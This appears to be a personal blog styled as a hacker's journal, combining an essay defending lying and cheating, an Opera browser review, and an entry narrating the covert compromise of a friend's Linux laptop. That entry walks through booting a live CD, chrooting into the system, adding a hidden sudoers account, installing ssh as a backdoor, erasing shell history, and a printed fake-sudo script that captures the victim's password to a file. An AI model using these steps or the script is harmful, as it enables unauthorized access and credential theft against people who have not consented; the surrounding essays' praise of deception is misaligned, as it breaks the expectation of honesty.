I lie.

Liar. How bad does that sound? I lie. But so do you… more or less. That’s the point… Everyday, intentionally or unintentionally. When you smile just because it’s polite. When you dress up just because you have to, you lie. Oh of course, it can’t really be called lying.. or it’s not really harmful and it doesn’t hurt anybody is what most people say when confronted with these facts. But it makes you better than someone who didn’t do the same thing, so you are cheating on reality. What if lying didn’t really hurt anyone, or if it was fairly harmless and most of all, it made things really good for you, would you lie? How far would you go, how far before you loose your sleep every night? Is it worth loosing your sleep over it? I lied to him/her. It was a really big lie, you might think, but so WHAT? Your conscience is the only thing that makes the situation not so good.. but unless you really hurt someone, do you really need to worry about the fact that you are a cheating, manipulating bastard? What’s so bad about it? Think about it. REALLY think about it. I’ve thought about it. I’m fine with it. Why? Because everytime I don’t get something I feel I should get, I am being cheated. If I can do something to make that right, so be it. If someone doesn’t do it and uses it as an excuse to feel good about themselves and ego masterbate, good for them. Whatever makes you happy. I think the truth is over rated. It might feel better on your soul if you let it. Or, you could let the result of your ‘smart’ move satisfy you. Whatever makes you happy. That’s the point of life. I think I personally can’t cross the line into a region that would hurt someone, but I don’t think I need to. Duty to society, duty to mankind. What are these? Why do we pick these as the supreme duties, as the meaning of life? If the meaning of life is something more grand than just surviving as long and as pleasantly as you can and all the B.S rules you manage to squeeze in, why should it be something as drab as making someone’s life more pleasant, or helping them live longer? We forget that in all the moralities we impose on ourselves, we only reinforce the importance of living, the most animal and basic instinct of survival. So, I say, hack your life. Cheat. That word shouldn’t have such a negative connotation anyway.

Opera for power surfers

Hi! This is the second alter ego of “Black Journal” and welcome to my rant.Hackers/power surfers/web search wizards alike will feel at home with Opera 9.0+

So one of the big discussions right now is the browser war between Internet Explorer and Mozilla Firefox. The biggest market share of browsers is split between these two so it does not come as a big surprise.However many people do not seem to be aware about the fact that Opera may be the best and possibly fastest browser around. At least from a power users perspective Opera’s list of unique features are unmatched. On the surface it looks pretty standard with things like tabbed browsing and fancy GUI. Also widgets,mail client,rss reader,irc client and download manager with bit torrent support are thrown in to make things more interesting.

So let us play around with some of Opera’s features that seem interesting to me. Web developers will I think find the “HTML validator”(accessible via ‘Ctrl+Alt+V’) useful. This works by submitting the web page source code to the server @ w3c(World Wide Web Consortium) which is responsible for standardization on the web. If you are curious like me you play around with a web page’s source and see what makes it tick under the hood. Opera is I think the only browser that allows you to modify the web page’s copy in cache! Hit the ‘Ctrl+F3′ shortcut to view the source of a web page, change something in the source and then hit the “Reload from cache”(Ctrl+R). This feature is also handy for those of you that like to try online hacking challenges that usually involve tinkering with the source of a web page or some script on a web server. Web security enthusiasts too should find good use of this.

Web search is a personal favorite topic of mine and one of my future rants will be on this topic. However for now let us check out Opera’s support for web search. Highlight any text on a webpage,right click and select one of the various search engines under “Search with”. Now Opera goes even further by allowing you to add the search from any…YES any web page. Right click on the search textbox in any webpage,right click and select “Create Search…”. Also you can assign an alphabetic shortcut to your custom search which is accessible in the ‘Address Bar’. For example if you type ‘g’ and your search query in the address bar it will result in a google search query. Searching within the current web page too is easy thanks to the “.” quick search feature. Typing “.” followed by your search keywords, highlight the keywords in the current web page in real time.

“Cookies” are an integral part of today’s web experience and keeping this in mind Opera has advanced cookie management features accessible via : Tools->Advanced->”Cookies…”. You have the option of easily editing cookie values for any web site.Once again web security enthusiasts will certainly find creative use of this Opera feature.

Compatibility is a big issue when it comes to browsers. Opera can be set to falsely identify itself as “Internet Explorer” or “Mozilla” when it communicates with a web server to request a web page. This is useful when some web site employs javascript or some other mans to find out the browser name and redirect the user to a message stating that the current browser is not compatible with the web site. Just right click on any web page and select “Edit Site Preferences..”. This allows you to set the browser identity, cookie and content settings for that particular web site.

This is about it for my Opera rant. I hope I have managed to point out some really useful features of Opera.

Entry 1: A little fun

Hello. I would normally say ‘what’s up’ , but since we don’t know each other, I don’t have any obligations to do so. No one really cares when they ask anyway. “What’s up?” is a superfluous appendage of “society” here in the U.S. It also represents all the inconveniences (in my opinion), associated with dealing with people. Nothing is straight forward. The expression we are talking about, for example, would be thought of as inefficient, unnecessary and stupid, if it were part of some programming language. Yes, it is polite. However, politeness in this context is a facade. You hear the non caring tone this question always carries. I know I don’t really care too much. So, what’s all the fuss about? It must be the sense of safety, assurance, and notion of being liked that people need to revel in. Hmm.. Now come to think of it, society would probably collapse if people stopped greeting each other in some way. Wierd.
Something worthy of being written down happened today. I rooted(not much of a hack though) a good friend of mine , just for fun.. I was soo @#$%$ bored. I plan to get to know him better(hehe) while practicing my ninja skillz for someday I might actually need them. I need some dummy to practice my kung fu on, in case I need to fight a bad ass head boss someday. I was trying to study and I heard the ‘ownee’ laptop begging me to put a boot CD in it. I complied…

Lesson #0: Secure the F’n BIOS.

So, it’d be moderately interesting if the boot menu was password protected. But, how often do you see that? If there is a bios password on a desktop machine, you can’t boot from the CD, and you have to open the case, take out the battery, let it sit for a while and then run the computer again to find the settings conveniently cleared. Protect the bios of a laptop and the story gets a whole lot complicated! How do I open up a laptop conviniently enough? But, no protection means that physical access is always going to give anyone what they want. With protection, it becomes harder. Well, in this case, it was easy. I booted into my live CD.
I used ‘sudo fdisk -l’ to find out which partition was the one of interest. So, it was /dev/hda4 that had linux on it. I then casually mounted it on my /mnt.
$sudo mount -t ext3 /dev/hda4 /mnt
heh. Now what? Brute force the shadow file? How long would that take? I could probably come up with a good dictionary of words he might use , but that will still take
hours at least. Patience is a virtue(yes, i have it), but it should be the last resort… Shortcuts are way better. Where’s the fun in patience anyway? And I already have access to the partition as root. Now, how do I get access to the installation as root to do something interesting?
$ chroot /mnt
Tada! Ok, so, I probably should get a fairly inconspicous user account. ‘dba’ will do for now. Sounds like something to do with databases..
I added it using useradd. Then, put the name in /etc/sudoers.. gotta have that! I know he wasn’t going to look in there.. But, how the hell was I gonna access the darn system? I couldn’t have physical access all the time. It had to be a process of remote monitoring.. convenient,very low key.. what better than ssh?
So, I flaunt my root status, and apt-get install ssh . It sets itself to load during system startup. Awesome. So then I delete the bash history and halt the system.
All in all, little over 5 mins from “I am itching to do something” to “ahh.. there!”.

Lesson #1: Keep it simple

Now the fun part began. I had to start with getting the password. It’d be the same or a similar one for e-mails and stuff. Password cracking, like I said isn’t my taste. So, I wrote a small shell script. It turned off echoing on the terminal, displayed a ‘password:’ prompt. Then, it saves the output and runs the real sudo that I moved and named sood earlier. Before exiting, it called a python script. The python script waits a couple of secs to let the rogue sudo exit and then, deletes it, and replaces it with the real sudo in the same directory.

echo -n “Password:”
stty -echo
read password
echo $password > /tmp/p
stty echo
echo “”
stty -echo
/usr/bin/tempsudo $1 $2
stty echo
echo “”
stty -echo
stty echo
/usr/bin/tempsudo /tmp/nifty.py
clear

How simple is that? It had a bit too many ‘stty -echo’ but it worked like planned. He used sudo to do something, got prompted, typed in the password and got prompted again.. “wtf’s going on?” his mind said. Must’ve mistyped it… (hehe). Types it again, there.. it works now! Everything’s the same. Nothing out of the ordinary.. The password was interesting, let me tell you. It’s always satisfying to read people’s passwords. It tells you so much about them. There is that feeling of opening up someone’s head and looking deep into their mind and seeing a part of them that they don’t expose. It is a very gender neutral, erotic feeling. On the same note, I’ve often wondered what my password says about me. One of the low security common ones doesn’t say much because it was the name of the first two arcane things that caught my sight, the other ones are distinctly me, I’d say. It would very much summarize me in about a dozen characters.(no, it’s not something lame like : img0d )
That was enough for now. I wanted to put in scripts instead of the usual who and ps to hide my presence, but I didn’t think I’d be getting on the computer so often. So, that could wait. This was enough for now. The n00b friend would probably not be using linux too much from the looks of it. He lacks the love. But, I guess, I’ll code
a keylogger sometime to mess around with. Let’s see if I get bored some day again and itch again for some fun.

So, that entertained me for a while. Now, I should probably start work..adios.

Entry 0: And so it begins..

Hello World! Now that we are done with the formalities, I can get straight into my rants. I have always been asked what’s new in my life. My answer, without thinking, is “Nothing new”. However, that’s a lie. There is always something new, something significant, something life changing happening. It might be a thought, an urge, something cool I thought of or did, or just that I had a great meal. The only reason I don’t care to elaborate upon all this is because it is either of not much interest to most people, or, that it contradicts the other person’s beliefs pretty sharply. However, here, in this eternal land of endless rants and raves and lunatics and geniuses, I am home. So, here I am, pouring out my hacks, my life and my thoughts for your amusement. It’s damn time someone of my breed bared his thoughts.
Yes, this is a hacker’s journal. I am not going to rant about the meaning of the word hacker too much. After all, this is not about every hacker. This is about me.I am someone who has to know and to improve upon something that exists, and I twist and bend and dodge out of my way to do this. I am a hacker because I hack my life, my thoughts, my mind. Morality is another topic for some other day, but I’ve already told you that I lie sometimes. Everyone does. What’s the harm? My conscience would complain if I cause someone pain. Anything else is perfectly fine :) I like it this way. I get to do things you don’t if you don’t lie. Plus, the world is a better place for me, and not any worse for everyone else.
Hacking is getting an unfair advantage over the lay man. I am not bothered by this act of cheating . Again, where’s the harm?
Some people take the stairs. I take the elevator to the top floor , into the afterlife. On the way, I read a few e-mails (not always mine), laugh at a few jokes(could be about you), have a little fun (your mom joke anyone?) and sometimes even make a fool of myself to bring someone a smile. I am what I am. Don’t judge or complain about the little shortcuts I take. Push the right buttons and for you too, the walls shall part and take you up, express, non stop, unless of course, you wish to join a party somewhere along the way…